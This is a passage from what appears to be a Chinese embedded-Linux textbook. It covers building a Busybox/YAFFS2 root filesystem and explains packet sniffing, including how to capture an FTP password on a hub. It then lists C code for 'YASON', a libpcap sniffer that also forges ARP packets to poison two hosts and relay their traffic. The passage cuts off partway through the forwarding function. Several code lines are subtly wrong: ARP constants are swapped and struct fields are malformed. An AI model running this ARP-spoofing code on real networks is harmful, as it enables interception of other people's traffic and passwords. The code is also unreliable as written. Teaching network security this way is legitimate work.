14）/usr　这个是系统存放程序的目录，比如命令、帮助文件等。这个目录下有很多文件和子目录。当安装一个Linux官方发行版提供的软件包时，大多安装在这里。如果有涉及服务器配置文件的，会把配置文件安装在/etc目录中。/usr目录包括字体目录/usr/share/fonts、帮助目录/usr/share/man或/usr/share/doc、普通用户可执行文件目录/usr/bin或/usr/local/bin、超级权限用户root的可执行命令存放目录，比如/usr/sbin或/usr/local/sbin等，还有程序的头文件存放目录/usr/include。

15）/var　这个目录的内容是经常变动的，看名字就知道，我们可以理解为vary的缩写，/var下有/var/log，这是用来存放系统日志的目录。/var/www目录是定义Apache服务器站点的存放目录；/var/lib用来存放一些库文件。

16）/etc/init.d　这个目录是用来存放系统或服务器以System V模式启动的脚本，这在以System V模式启动或初始化的系统中常见。如果服务器是通过xinetd模式运行的，/etc/xinit.d的脚本要放在这个目录下。/etc/rc.d是以BSD方式启动脚本的存放目录，比如定义网卡，服务器开启脚本等。

2.移植Busybox

构建Linux根文件系统，就是参照FHS的标准创建相应的目录，并且在其中存放各种可执行程序，建立相关的配置文件以及相应的库文件。这里我们采用的是Busybox工具，它是遵循GPL协议的一个开源的工具，最初是为了Debian安装盘编写的，其目的是在一张软盘上创建一个可引导的Linux系统，可以用于安装盘和急救盘，其大小在1.44MB以内。它将众多的UNIX命令集合到一个可执行文件中，很多标准的Linux工具都可以共享很多相同的元素，这些工具被合并到一个可执行程序中，就可以共享这些相同的元素，从而产生更小的可执行程序。Busybox在设计时充分地考虑了硬件资源受限的环境，通过不同的符号链接来选择到底执行哪一个命令，这对资源紧张的嵌入式Linux系统来说再合适不过了。

首先下载Busybox，下载网站为http://www.busybox.net，这里我们用的是busybox-1.3.0，解压缩以后，修改Makefile文件：



移植前ARCH?=＆(SUBARCH)

移植后ARCH?=arm



指定交叉编译器：



移植前CROSS_COMPILE?=

移植后CROSS_COMPILE?=arm-linux-



执行make menuconfig进行配置，在其中可以有针对性地选择我们需要的工具，这里使用默认配置，选择动态编译以减小体积。然后执行make编译，最后执行make CONFIG_PREFIX=～/rootfs install，这样一套工具集就被我们做好了，放在主目录下的rootfs文件夹中，通过ls-l命令可以看到这些命令实际上都是指向Busybox这个文件的。

这里我们采用的是动态编译，下一步，我们要做的就是裁剪所需要的库函数。glibc的库位于"/usr/local/crosstool/gcc-3.3.6-glibc-2.3.2/arm-linux/lib/"目录下，其中我们只需要复制一些加载器和动态库即可。实际上可以通过arm-linux-readelf-a busybox grep"Shared"命令来查看Busybox具体使用了哪些共享库，并且把它们都复制过来就可以了，这样基本的命令行工具集和库文件都已经做好了。

3.建立目录以及配置文件

下面我们将参照FHS的标准来建立目录以及配置文件

[1]首先建立etc目录和一些基本的配置文件。



mkdir-p etc/init.d/＆＆touch etc/inittab＆＆touch etc/init.d/rcS＆＆touch etc/fstab＆＆touch etc/resolv.conf



[2]参考busybox example目录下的inittab文件编辑etc/inittab文件如下：



#/etc/inittab

:sysinit:/etc/init.d/rcS

ttySAC0:askfirst:/bin/sh

:ctrlaltdel:/sbin/reboot

:shutdown:/bin/umount-a-r



[3]编辑etc/init.d/rcS文件，配置ip。



#!/bin/sh

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:

/sbin/ifconfig lo 127.0.0.1 netmask 255.255.255.0 up

ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up

route add default gw 192.168.1.1

mount-a



然后执行chmod 755 etc/init.d/rcS添加可执行权限。[4]编辑etc/resolv.conf修改添加dns配置。



echo "nameserver 202.118.176.2"＞etc/resolv.conf



[5]编辑etc/fstab文件，这是一个用来定义系统开机后自动挂载的配置文件。
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到此为止，基本的系统配置已经完成了。下面我们要做的就是创建dev目录。需要手动创建的设备节点如表18-2所示。
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mknod-m 600 console c 5 1

mknod-m 600 mem c 1 1

mknod-m 666 null c 1 3

mknod-m 644 random c 1 8

mknod-m 666 tty c 5 0

mknod-m 600 tty0 c 4 0

mknod-m 600 tty1 c 4 1

mknod-m 600 ttyS0 c 4 64

mknod-m 666 zero c 1 5



[6]最后创建一些其他的目录。



mdir proc mnt tmp sys root



这样一个基本的文件系统就已经做好了，把做好的目录按照FHS标准放在自建的rootfs目录下面。现在需要制作YAFFS2文件系统映像文件，在YAFFS2源码目录下有一个utils目录，下面有编译好的mkyaffs2image的代码，编译好了以后就可以用来制作YAFFS2文件系统映像文件了。



mkyaffs2image rootfs rootfs.img



[7]然后把rootfs.img映像文件直接烧写到开发板就可以了。设置好启动参数就可以启动系统了，这样一个基本的嵌入式Linux系统就构建好了。


18.4　系统软件设计

一个完整的系统，如果说硬件部分是骨架，那么软件部分就是灵魂。软件的编写绝不只是锦上添花之笔，而是充分开发出硬件潜能的金匙。

嵌入式网络防御体系这个系统的基本工作原理来源于sniff（窃听）技术，也就是网络嗅探技术。所谓网络嗅探，就是利用计算机的网络接口截获目的地为其他计算机的数据报文的一种手段。本章要设计的嵌入式网络防御体系的基本工作模式就是在sniff技术的基础上完成的。所以在介绍程序之前首先介绍一下网络嗅探的原理。


 18.4.1　网络基础知识

1.TCP/IP体系结构

开放系统互连（OSI）模型将网络划分为七层，如图18-3所示，它们分别为应用层、表示层、会话层、传输层、网络层、数据链路层及物理层。而TCP/IP体系也同样遵循这七层标准，只不过在某些OSI功能上进行了压缩，将表示层及会话层合并入应用层中，所以实际上我们打交道的TCP/IP仅有5层而已，网络上的分层结构决定了在各层上的协议分布及功能实现，从而决定了各层上网络设备的使用。实际上很多成功的系统都是基于OSI模型的，如帧中继、ATM、ISDN等。
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图　18-3　TCP/IP的网络体系结构

从上面的图中可以看出，第一层物理层和第二层数据链路层是TCP/IP的基础，而TCP/IP本身并不十分关心底层，因为处在数据链路层的网络设备驱动程序将上层的协议和实际的物理接口隔离开来。网络设备驱动程序位于介质访问子层（MAC）。

2.网络上的设备

中继器：中继器的主要功能是终结一个网段的信号并在另一个网段再生该信号，其实就是简单地放大，工作在物理层。

网桥：网桥使用MAC物理地址实现中继功能，可以用来分隔网段或连接部分异种网络，工作在数据链路层。

路由器：路由器使用网络层地址（IP等），主要负责数据包的路由寻径，也能处理物理层和数据链路层上的工作。

网关：工作在网络第四层以上，主要实现收敛功能及协议转换，不过很多时候网关都被用来描述任何网络互连设备。

3.TCP/IP与以太网

以太网和TCP/IP可以说是相辅相成的，可以说两者的关系几乎是密不可分的，以太网在一二层提供物理上的连线，而TCP/IP工作在上层，使用32位的IP地址，以太网则使用48位的MAC地址，两者间使用ARP和RARP协议进行相互转换。从上面TCP/IP的模型图中可以清楚地看到两者的关系。

载波监听/冲突检测（CSMA/CD）技术被普遍地使用在以太网中，所谓载波监听是指在以太网中的每个站点都具有同等的权利，在传输自己的数据时，首先监听信道是否空闲，如果空闲，就传输自己的数据，如果信道被占用，就等待信道空闲。而冲突检测则是为了防止两个站点同时监测到网络没有被使用时而产生冲突。以太网采用广播机制，所有与网络连接的工作站都可以看到网络上传递的数据。


18.4.2　sniff原理

在以太网中，所有的通信都是广播的，也就是说通常在同一个网段的所有的网络接口都可以访问在物理媒体上传输的所有数据，而每一个网络接口都有一个唯一的硬件地址，这个硬件地址也就是网卡的MAC地址，大多数系统使用48位的地址，这个地址用来表示网络中的每一个设备，一般来说每一块网卡上的MAC地址都是不同的，每个网卡厂家得到一段地址，然后用这段地址分配其生产的每个网卡一个地址。在硬件地址和IP地址之间使用ARP和RARP协议进行互相转换。

在正常的情况下，一个网络接口应该只响应两种数据帧：与自己硬件地址相匹配的数据帧和发向所有机器的广播数据帧。

在一个实际的系统中，数据的收发是由网卡来完成的，网卡接收到传输来的数据，网卡内的单片程序接收数据帧的目的MAC地址，根据计算机上的网卡驱动程序设置的接收模式判断该不该接收，认为该接收就接收后产生中断信号通知CPU，认为不该接收就丢掉不管，所以不该接收的数据被网卡截断了，计算机根本就不知道。CPU得到中断信号产生中断，操作系统就根据网卡的驱动程序设置的网卡中断程序地址调用驱动程序接收数据，驱动程序接收数据后放入信号堆栈让操作系统处理。而对于网卡来说，一般有4种接收模式：

·广播模式：该模式下的网卡能够接收网络中的广播信息。

·组播模式：设置在该模式下的网卡能够接收组播数据。

·直接模式：在这种模式下，只有目的网卡才能接收该数据。

·混杂模式：在这种模式下的网卡能够接收一切通过它的数据，而不管该数据是否是传给它的。

如上所述，在以太网中是基于广播方式传送数据的，网卡可以置于混杂模式（promiscu-ous），在这种模式下工作的网卡能够接收到一切通过它的数据，而不管实际上数据的目的地址是不是它。这实际上就是sniff原理：让网卡接收一切它所能接收的数据。

我们来看一个简单的例子，如图18-4所示，机器A、B、C与集线器HUB相连接，集线器通过路由器（router）访问外部网络。这是一个很简单也很常见的情况，比如说在公司大楼里，网络部办公室里的几台机器通过集线器连接，而开发部、市场部等其他地方也同样如此，几个部门的集线器通过路由器连接。从图18-4可以看出机器A、B、C使用一个普通的HUB连接，不是用交换机，也不是用路由器，使用交换机和路由器的情况要比这复杂得多。
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图　18-4　sniff工作原理例图

假设机器A上的管理员为了维护机器C，使用了一个FTP命令向机器C进行远程登录，那么在这个用HUB连接的网络里数据走向过程是这样的：首先机器A上的管理员输入的登录机器C的FTP口令经过应用层FTP协议、传输层TCP协议、网络层IP协议、数据链路层上的以太网驱动程序，最后送到了物理层——网线上。接下来数据帧送到了HUB上，现在由HUB向每一个接点广播由机器A发出的数据帧，机器B接收到由HUB广播发出的数据帧，并检查在数据帧中的地址是否和自己的地址相匹配，发现不是发向自己的后把这个数据帧丢弃，不予理睬。而机器C也接收到了数据帧，并在比较之后发现是自己的，接下来它就对这个数据帧进行分析处理。

在上面这个简单的例子中，如果机器B上的管理员很想知道登录机器C的FTP口令，他仅需要把自己机器上的网卡置于混杂模式，并对接收到的数据帧进行分析，从而找到包含在数据帧中的口令信息。


18.5　做自己的YASON

通过学习18.4节，我们已经知道了sniff的基本原理，这一节我们来亲自动手做一个属于自己的YASON，毕竟，用程序代码来说话比什么都要来得真实，也容易加深理解。

回想上面所说的原理，我们要做的事情有如下几件：

·把网卡置于混杂模式。

·捕获数据包。

·分析数据包。

在阅读代码之前，我们还不得不面对另一个问题：如何使用网络安全开发包。网络安全开发包的使用会大大减少软件开发的周期，提高效率，减少工作量。一套优秀的开发包会让我们不用面对那些晦涩难懂的系统调用。

网络安全开发包归根结底是一些函数库，它们提供了编程接口。使用网络安全开发包就是要掌握怎样使用这些函数，调用这些编程接口。下面将会涉及的开发包有Libpcap、Libnet等。由于篇幅有限，就不详细介绍每一种网络安全开发包的使用方法了。但是对开发包的掌握程度会直接影响编程的质量与效率。所以想要学好这种技术，就需要读者自己去认真阅读有关这部分的内容了。

最后要说明的是，下面介绍的代码会分函数给出，并且每几个函数之后会给出一个小小的主函数，用来测试上面的几个函数。

好了，终于把在编程以前需要做的铺垫陈述完了。现在我们开始代码之旅吧。


 18.5.1　事前准备

1.头文件的声明

第一段代码是YASON可能会调用的一些常数、头文件以及宏定义。存放在yason.h中。



===========================================

Name:yason.h

Author:Lion

Version:1.0.0.0 beta

Copyrigh:Null

Description:常数、头文件、宏定义

============================================

#include＜stdio.h＞

#include＜net/if.h＞

#include＜sys/ioctl.h＞

#include＜pcap.h＞/*libpcap库头文件*/

#include＜libnet.h＞

#include＜pthread.h＞

#define MAXBUF 1024*4/*缓冲区大小*/

#define PCAP_TOUT 5

#define PROMISC 0

#define TRUE 1

#define FALSE 0

/*以太网协议常数*/

#define ETHERTYPE_IP 0x0800/*IP协议*/

#define ETHERTYPE_ARP 0x0806/*地址解析协议*/

#define ETHERTYPE_REVARP 0x8035/*反ARP*/

/*这个结构定义了一个ARP协议头文件*/

/*ARP协议操作码*/

#define ARPOP_REQUEST 1/*ARP请求*/

#define ARPOP_REPLY 2/*ARP回应*/

#define ARPOP_RREQUEST 3/*RARP请求*/

#define ARPOP_RREPLY 4/*RARP回应*/

#define ARPOP_InREQUEST 8/*InARP请求*/

#define ARPOP_InREPLY 9/*InARP回应*/

#define ARPOP_NAK 10/*(ATM)ARP NAK*/

/*ARP协议硬件类型*/

#define ARPHRD_NETROM 0/*来自KA9Q*/

#define ARPHRD_ETHER 1/*以太网10/100Mbps*/

#define ARPHRD_EETHER 2/*实验以太网*/

#define ARPHRD_AX25 3/*AX.25 Level 2*/

#define ARPHRD_PRONET 4/*PROnet令牌网*/

#define ARPHRD_CHAOS 5/*混沌网络*/

#define ARPHRD_IEEE802 6/*IEEE 802.2以太网/TR/TB*/

#define ARPHRD_ARCNET 7/*ARCnet协议*/

#define ARPHRD_APPLETLK 8/*APPLEtalk网络协议*/

#define ARPHRD_DLCI 15/*帧中继*/

#define ARPHRD_ATM 19/*异步传输模式*/

#define ARPHRD_METRICOM 23/*新的IANA id */

/*无ARP硬件的假设类型*/

#define ARPHRD_SLIP 0x256

#define ARPHRD_CSLIP 0x257

#define ARPHRD_SLIP6 0x258

#define ARPHRD_CSLIP6 0x259

#define ARPHRD_RSRVD 0x260

#define ARPHRD_ADAPT 0x264

#define ARPHRD_ROSE 0x270

#define ARPHRD_X25 0x271/*CCITT X.25协议*/

#define ARPHDR_HWX25 0x272

/*Boards with X.25 in firmware*/

#define ARPHRD_PPP 0x512

#define ARPHRD_CISCO 0x513

/*Cisco HDLC*/

#define ARPHRD_HDLC ARPHRD_CISCO

#define ARPHRD_LAPB 0x516

/*链路访问过程平衡*/

#define ARPHRD_DDCMP 0x517

/*Digital's DDCMP*/

#define ARPHRD_RAWHDLC 0x518

/*Raw HDLC*/

#define ARPHRD_TUNNEL 0x768

/*IPIP隧道*/

#define ARPHRD_TUNNEL6 0x769

/*IPIP6隧道*/

#define ARPHRD_FRAD 0x770

/*帧中继访问设备*/

#define ARPHRD_SKIP 0x771

/*SKIP vif*/

#define ARPHRD_LOOPBACK 0x772

/*回环设备*/

#define ARPHRD_LOCALTLK 0x773

/*Localtalk设备*/

#define ARPHRD_FDDI 0x774

/*光纤分布式数据界面*/

#define ARPHRD_BIF 0x775

/*AP1000 BIF*/

#define ARPHRD_SIT 0x776

/*sit0 device-IPv6-in-IPv4*/

#define ARPHRD_IPDDP 0x777

/*IP-in-DDP tunnel*/

#define ARPHRD_IPGRE 0x778

/*GRE over IP*/

#define ARPHRD_PIMREG 0x779

/*PIMSM接口*/

#define ARPHRD_HIPPI 0x780

/*高性能并行接口*/

#define ARPHRD_ASH 0x781

/*(Nexus Electronics)Ash*/

#define ARPHRD_ECONET 0x782

/*Econet*/

#define ARPHRD_IRDA 0x783

/*红外线接口*/

#define ARPHRD_FCPP 0x784

/*点对点光纤通信*/

#define ARPHRD_FCAL 0x785

/*光纤通道中仲裁环路*/

#define ARPHRD_FCPL 0x786

/*光纤通道公共环*/

#define ARPHRD_FCPFABRIC 0x787

/*光纤通道*/

#define ARPHRD_IEEE802_TR 0x800

#define ARPHRD_IEEE80211 0x801

/*IEEE 802.11协议*/

/*IP协议版本号*/

#define IPVERSION 4

struct ether_header

/*以太网头结构*/

{

u_int8_t ether_dhost[6];/*目的MAC地址*/

u_int8_t ether_shost[6];

/*源MAC地址*/

u_int16_t ether_type;

/*以太网类型*/

};

struct arp_hdr

/*ARP协议头结构*/

{

unsigned short int ar_hrd;

/*硬件地址格式*/

unsigned short int ar_pro;

/*协议地址格式*/

unsigned char ar_hln;

/*硬件地址长度*/

unsigned char ar_pln;

/*协议地址长度*/

unsigned short int ar_op;

/*ARP操作码*/

unsigned char_ar_sha[6];

/*源MAC地址*/

unsigned char__ar_sip[4];/*源IP地址*/

unsigned char__ar_tha[6];/*目的MAC地址*/

unsigned char__ar_tip[4];/*目的IP地址*/

};

/*

*网络层头结构

*/

struct ip_head/*IP头结构*/

{



unsigned int ip_hl:4;/*头长度*/

unsigned int ip_v:4;/*版本*/

u_int8_t ip_tos;/*服务类型*/

u_short ip_len;/*总长度*/

u_short ip_id;/*标号*/

u_short ip_off;/*偏移量*/

u_int8_t ip_ttl;/*生存时间*/

u_int8_t ip_p;/*协议*/

u_short ip_sum;/*校验*/

u_char ip_src[4],ip_dst[4];/*源、目的地址*/

};

struct tcp_head/*TCP头结构*/

{

u_int16_t th_sport;/*源端口*/

u_int16_t th_dport;/*目的端口*/

u_int32_t th_seq;/*序列码*/

u_int32_t th_ack;/*确认码*/

u_int8_t th_off:4;/*数据偏移*/

u_int8_t th_x2:4;/*保留*/

u_int8_t th_flags;

#define TH_FIN 0x01

#define TH_SYN 0x02

#define TH_RST 0x04

#define TH_PUSH 0x08

#define TH_ACK 0x10

#define TH_URG 0x20

u_int16_t th_win;/*窗长*/

u_int16_t th_sum;/*校验*/

u_int16_t th_urp;/*紧急指针*/

};

struct ip_mac_addr{/*用来储存获取的网卡信息*/

u_int32_t A_ip;

u_int32_t A_mask;

u_char A_mac[6];

u_int32_t B_ip;

u_int32_t B_mask;

u_char B_mac[6];

u_int32_t H_ip;

u_int32_t H_mask;

u_char H_mac[6];

};



2.获取主机网卡信息

第二段代码是让程序获得本机的网卡信息，其中包括IP地址、MAC地址、子网掩码、网卡类型等。由于LibPcap开发包不提供提取本地网卡物理地址的接口函数，所以我们要通过原始套接字的方式获取MAC地址。



/*

========================================================

Name:mlio.c

Author:Lion

Version:1.0.0.0 beta

Copyright:Null

Description:Get local network interface information

========================================================

*/

#define DEBUG 0/*调试用*/

#include＜stdio.h＞

#include＜stdlib.h＞

#include＜pcap.h＞

#include＜netinet/in.h＞

#include＜arpa/inet.h＞

#include＜sys/ioctl.h＞

#include＜string.h＞

#include＜sys/socket.h＞

#include＜net/if.h＞

#include＜yason.h＞

int YasonLookUpNet(char*,char*,struct ip_mac_addr*);/*获取网卡信息*/

int YasonGetLocalMac(char*,u_char*,u_int32_t*);/*获取网卡物理地址*/

/*

*===============================================================

*Function:YasonGetLocalMac(char*devs,u_char*local_mac)

*

*Purpose:Capture Mac address from network interface

*

*Argument:devs=＞network interface name

*

local_mac=＞a Mac address sting

*

*Return:0 success-1 fault

*==============================================================

**/

int YasonGetLocalMac(char*devs,u_char*local_mac,u_int32_t*temp_ip){

int skfd;

struct ifreq ifr,ifr1;

struct sockaddr_in*temp_ip_sock;

strcpy(ifr.ifr_name,devs);/*获取网卡设备名称*/

strcpy(ifr1.ifr_name,devs);

skfd=socket(AF_INET,SOCK_DGRAM,0);/*建立套接字*/

if(skfd＜0)

{

printf("Can't open socket!\n");

return-1;

}

if(ioctl(skfd,SIOCGIFHWADDR,＆ifr)＜0)/*获取网卡MAC地址*/

{

printf("Can't read local mac address!\n");

return-1;

}

memcpy(local_mac,ifr.ifr_hwaddr.sa_data,6);

if(ioctl(skfd,SIOCGIFADDR,＆ifr1)＜0){

printf("Can't read local network address!\n");

}

temp_ip_sock=((struct sockaddr_in*)(＆ifr1.ifr_ifru.ifru_addr));

*temp_ip=temp_ip_sock-＞sin_addr.s_addr;

close(skfd);

return 0;

}

/*

*===============================================================

*Function:YasonLookUpNet(char*devs,char*error_content,struct ip_mac_addr

*temp_addr)

*

*Purpose:Associates a network interface info with its function

*

*Argument:devs=＞network interface name

*error_content=＞error information

*temp_addr=＞a ip_mac_addr structure

*

*Return:0 success，-1 fault

*===============================================================

**/

int YasonLookUpNet(char*devs,char*error_content,struct ip_mac_addr*temp_addr){

u_int32_t net_ip;/*用来存储IP地址*/

u_int32_t net_mask;/*用来存储子网掩码*/

u_char net_mac[6];/*用来存储物理地址*/

if(pcap_lookupnet(devs,＆net_ip,＆net_mask,error_content)!=0){

/*pcap_look up net()是LibPcap开发包提供的接口函数*/

printf("pcap_lookupnet()Open Error!%s\n",error_content);

return-1;

}

if(YasonGetLocalMac(devs,net_mac,＆net_ip)!=0){

printf("Geting Mac Error\n");

return-1;

}

temp_addr-＞H_ip=net_ip;

temp_addr-＞H_mask=net_mask;

memcpy(temp_addr-＞H_mac,net_mac,6);

return 0;

}

/*

*===============================================================

*Function:AdapterList(char*error_content)

*

*Purpose:Output all the network interface,Ip address,network mask

*，etc.with its function

*

*Argument:error_content=＞error information

*

*Return:void function

*=============================================================

*/

void AdapterList(char*error_content){

char*devs，*c="\0";

struct ip_mac_addr temp1_addr;

struct in_addr ip_list,mask_list;

char*ip_string，*mask_string;

u_char mac_string[6];

int flag=0;

pcap_if_t*alldevs，*d;

if(pcap_findalldevs(＆alldevs,error_content)==-1){

printf("pcap_findalldevs函数执行失败:%s\n",error_content);

return;

}

for(d=alldevs;d;d=d-＞next){

devs=d-＞name;

if(strcmp(devs,"any")==0){

continue;

}

if(YasonLookUpNet(devs,error_content,＆temp1_addr)!=0){

printf("YasonLookUpNet()函数执行失败！\n");

return;

}

ip_list.s_addr=temp1_addr.H_ip;

#ifdef DEBUG/调试用/

//printf("%d\n"，ip_list.s_addr);

#endif

ip_string=inet_ntoa(ip_list);

/*打印网卡信息*/

printf("%d.Interface--:%s\n",flag,devs);

printf("Ip Address--:%s\n",ip_string);

mask_list.s_addr=temp1_addr.H_mask;

#ifdef DEBUG

printf("%d\n",mask_list.s_addr);

#endif

mask_string=inet_ntoa(mask_list);/*inet_ntoa()函数将子网掩码转换为正常模式*/

strcat(ip_string,c);

strcat(mask_string,c);

memcpy(mac_string,temp1_addr.H_mac,6);

#ifdef DEBUG

strcat(mac_string,c);

printf("%s",mac_string);

#endif

printf("Mask Address--:%s\n",mask_string);

printf("Mac Address--:%.2x:%.2x

Address-:%.2x:%.2x:%.2x\n",mac_string[0],mac_string[1],mac_string[2],mac_string[3],mac_string[4],mac_string[5]);/*打印网卡物理地址*/

flag++;/*标号*/

}

pcap_freealldevs(alldevs);/*释放内存空间,退出

*/

return;

}

int main(void){

char error[PCAP_ERRBUF_SIZE];/*错误信息存储空间申请*/

AdapterList(error);

return 0;

}



通过上面的代码已经可以完整地获得本地网卡的信息了。接下来我们开始获取整个局域网内的所有数据信息。需要注意的是，下面这段代码是一段完整的程序，而不是前面所说的Yason的部分代码。选择它是因为这段代码清晰地阐述了如何使用Pcap开发包捕获以太网数据信息，有利于读者掌握其要领。

3.LibPcap函数库的示范程序



/*

==============================================================

Name:GetPcap.c

Author:Lion

Version:Yason beta 1.o.o.o

Copyright:NULL

Description:capture a packet from ethernet

==============================================================

*/

#include＜stdio.h＞

#include＜pcap.h＞

#include＜unistd.h＞

#include＜signal.h＞

#include＜netinet/in.h＞

/*

*Ethernet header

*/

typedef struct_EtherHdr

{

u_int8_t ether_dst[6];

u_int8_t ether_src[6];

u_int16_t ether_type;

}EtherHdr;



上面这段代码展示了在局域网中MAC层数据包头的数据结构，其中包括了源MAC地址和目的MAC地址，还有一个标志符号，用来标示出上层协议类型。



typedef struct_IpHdr{

#ifdef WORD_BIGENIAN

u_int8_t ip_version:4,

ip_header_length:4;

#else

u_int8_t ip_header_length:4,

ip_version:4;

#endif

u_int8_t ip_tos;

u_int16_t ip_length;

u_int16_t ip_id;

u_int16_t ip_off;

u_int8_t ip_ttl;

u_int8_t ip_protocol;

u_int16_t ip_checksum;

struct in_addr ip_source_address;

struct in_addr ip_destination_address;

}IpHdr;



上面的这段代码展示给我们局域网中网络层IP数据包的头结构，其中包括了头版本号（4位）、头长度（4位）、服务类型TOS（8位）、总长度（16位）、标示（16位）、标志（3位）、头偏移（13位）、生存时间（8位）、上层协议标示（8位）、头部校验和（16位）、源IP地址、目的IP地址等。这个结构体是用来分析捕获的数据包的。



struct_Packet{

struct pcap_pkthdr *pkth;

u_char *pkt;

EtherHdr *eh;

IpHdr *ih;

}Packet;



上面这段代码是将程序里所用到的结构体整合到了一起，方便处理。其中包括了LibP-cap库中的pcap_pkthdr结构体、之前定义的EtherHdr结构体IpHdr和一个u_char类型的指针。



pcap_t*pd=NULL;

static int num=0;

void cleanup(int sig){

printf("中断函数执行成功！\n");

pcap_close(pd);

exit(0);

}



cleanup()函数用来中断程序的抓包过程。其中pcap_close(pd)是LibPcap库中的一个函数，它的作用自然而然就是终止抓包、释放内存资源等。



void pcap_callback(const u_char*pcap_content){

u_char*smac，*dmac;

u_int16_t ethtype;

printf("捕获到了一个数据报:%d\n",num);

Packet.pkt=pcap_content;

Packet.eh=(struct EtherHdr*)pcap_content;

smac=Packet.eh-＞ether_src;

dmac=Packet.eh-＞ether_dst;

ethtype=Packet.eh-＞ether_type;

printf("源地址为:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]);

printf("目的地址:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",dmac[0],dmac[1],dmac[2],dmac[3],

dmac[4],dmac[5]);

printf("上层协议类型:%x\n",ntohs(ethtype));

if(ntohs(ethtype)==0x0800){

printf("上层协议是IP协议！\n");

Packet.ih=(struct IpHdr*)(pcap_content+14);

switch(Packet.ih-＞ip_protocol){

case 6:

printf("上层协议是TCP\n");

break;

case 17:

printf("上层协议是UDP\n");

break;

case 1:

printf("上层协议是ICMP\n");

break;

default:break;

}

printf("源IP地址是:%s\n",inet_ntoa(Packet.ih-＞ip_source_address));

printf("目的IP地址:%s\n",inet_ntoa(Packet.ih-＞ip_destination_address));

}



pcap_callback()函数是这个实验程序的主体，它体现了分析数据报的全过程。它通过将已经捕获的数据块分别指向不同的头结构体，从MAC层到IP层。每分析完一层的数据指针将向下移动上层头结构的大小，进而进行下一层数据的分析。如果要做一个形象的比喻，这就像拆信封一样，一层层地从外到里剥去头结构。



printf("===========================================================================\n");

num++;/*计数器*/

}

int main(){

if(signal(SIGINT,cleanup)==SIG_ERR)

printf("SIGNAL CAPTURE ERROR!");

char error_content[PCAP_ERRBUF_SIZE];

struct pcap_pkthdr pcapheader;

struct bpf_program bpf_filter;

char bpf_filter_string[]="";

const u_char*content;

char interface[]="eth0";

u_int32_t maskk=16777215;

pd=pcap_open_live(

interface,

BUFSIZ,

1,

0,

error_content

);

if(pd==NULL){

printf("设备开启错误\n");

return-1;

}

if(pcap_compile(pd,＆bpf_filter,bpf_filter_string,0,maskk)!=0){

printf("编译过滤规则错误\n");

return-1;

}

if(pcap_setfilter(pd,＆bpf_filter)!=0){

printf("过滤规则设置错误\n");

return-1;

}

while(1){

content=pcap_next(pd,＆pcapheader);

pcap_callback(content);

}

return 0;

}



上面一段是这个示范程序的主程序，它的功能主要是进行必要的初始化，包括变量、结构体的声明；结构体的初始化赋值等。

以上就是全部的示范程序了。希望读者经过上述程序的阅读能对LibPcap网络开发包有一个整体的认识。如果还不清楚也不要紧，读者可以参考相应的书籍，主要对其使用的流程熟悉下就可以了。


18.5.2　YASON之旅

接下来带领读者正式进入YASON的世界。虽然与之前提到的程序比起来下面的程序有些复杂，但是有了之前的铺垫，对读者来说YASON只是小意思而已。需要读者注意的是，因为在上面的文字中已经介绍过其头文件了，所以直接从数据结构和主要功能函数入手。

1.结构体和帮助函数



/*=================================================================

Coder:Lion

Test on:redhat 9.0

==================================================================

/*

*W、S、M's ip和mac地址

*/

struct ipmacaddr

{

u_char ipW[4];

u_char macW[6];

u_char ipS[4];

u_char macS[6];

u_char ipM[4];

u_char macM[6];

};



这个数据结构就像上面示范程序中的_Packet()函数一样用来将可能用到的结构体加以整合，这么做可以使程序更加简洁。从程序员的角度来说，这么做也会使编写程序时的思路更加清晰。



int usage(char*argv)

{

printf("====================================\n");

printf("============YASON=============\n");

printf("==========Write by LION=========\n");

printf("===Usage:%s-I[interface]-M[Self IP]-W[Workstation IP]-S[Server IP]-P[port]\n",

argv);

printf("===For example:\n");

printf("\t%s-I eth0-M 192.168.0.6-W 192.168.0.4-S 192.168.0.254\n",argv);

return 0;

}



这段函数的功能是用来在屏幕上打印出程序的初始化信息以及帮助信息。这么做可以通过参数的配置使用户在忘记程序如何使用时随时调用帮助程序。

2.ARP欺骗功能实现



/*发送ARP数据包*/

int arpsend(libnet_t*lnet,u_char*smac,u_char*sip,u_char*dmac,u_char*dip)

{

int ret=0;

u_char*packet;

u_long packets;

libnet_ptag_t t;

struct ether_header*ethh;

struct arphdr*arph;

packets=sizeof(struct ether_header)+sizeof(struct arphdr);

packet=malloc(packets);

ethh=(struct ether_header*)packet;

arph=(struct arphdr*)(packet+sizeof(struct ether_header));

memcpy(ethh-＞ether_dhost,dmac,6);

memcpy(ethh-＞ether_shost,smac,6);

ethh-＞ether_type=htons(ETHERTYPE_ARP);

arph-＞ar_hrd=htons(ARPOP_REQUEST);

arph-＞ar_pro=htons(ARPHRD_IEEE802_TR);

arph-＞ar_hln=6;

arph-＞ar_pln=4;

arph-＞ar_op=htons(ARPHRD_ETHER);

memcpy(arph-＞__ar_sha,smac,6);

memcpy(arph-＞__ar_sip,sip,4);

bzero(arph-＞__ar_tha,6);

memcpy(arph-＞__ar_tip,dip,4);

ret=libnet_write_link(

lnet,

packet,

packets

);

if(ret==-1)

{

return FALSE;

}

return TRUE;

}



上面的函数展示给我们的是用来ARP欺骗的数据包是如何构成、如何发送的。在一开始初始化了局部变量、结构体和内存空间。主要是伪造ARP包空间的申请。之后的赋值过程主要是对伪造ARP数据包进行相关的配置，包括伪造目的IP和己方MAC地址两部分。



/*每隔6秒从S向W发送数据包*/

void arpspoof(libnet_t*lnet,struct ipmacaddr*ipmac)

{

while(TRUE)

{

arpsend(lnet,ipmac-＞macM,ipmac-＞ipS,ipmac-＞macW,ipmac-＞ipW);

arpsend(lnet,ipmac-＞macM,ipmac-＞ipW,ipmac-＞macS,ipmac-＞ipS);

sleep(6);

}

}



上面函数的功能是每隔6秒钟向目标主机持续发送伪造的ARP数据包直到函数终止。需要注意的是，这个子函数正是调用了上面的arpsend()子函数完成功能的。



/*重定向W--＞S或S--＞W*/

int forwarddate(libnet_t*lnet,const u_char*packet,int len,u_char*macW,u_char*macS,u_char*macM)

{

int ret=0;

const u_char*datapoint=packet;

struct ether_header*ethhdr;

struct iphead*iph;

ethhdr=(struct ether_header*)datapoint;

if(ntohs(ethhdr-＞ether_type)!=ETHERTYPE_IP)

return TRUE;

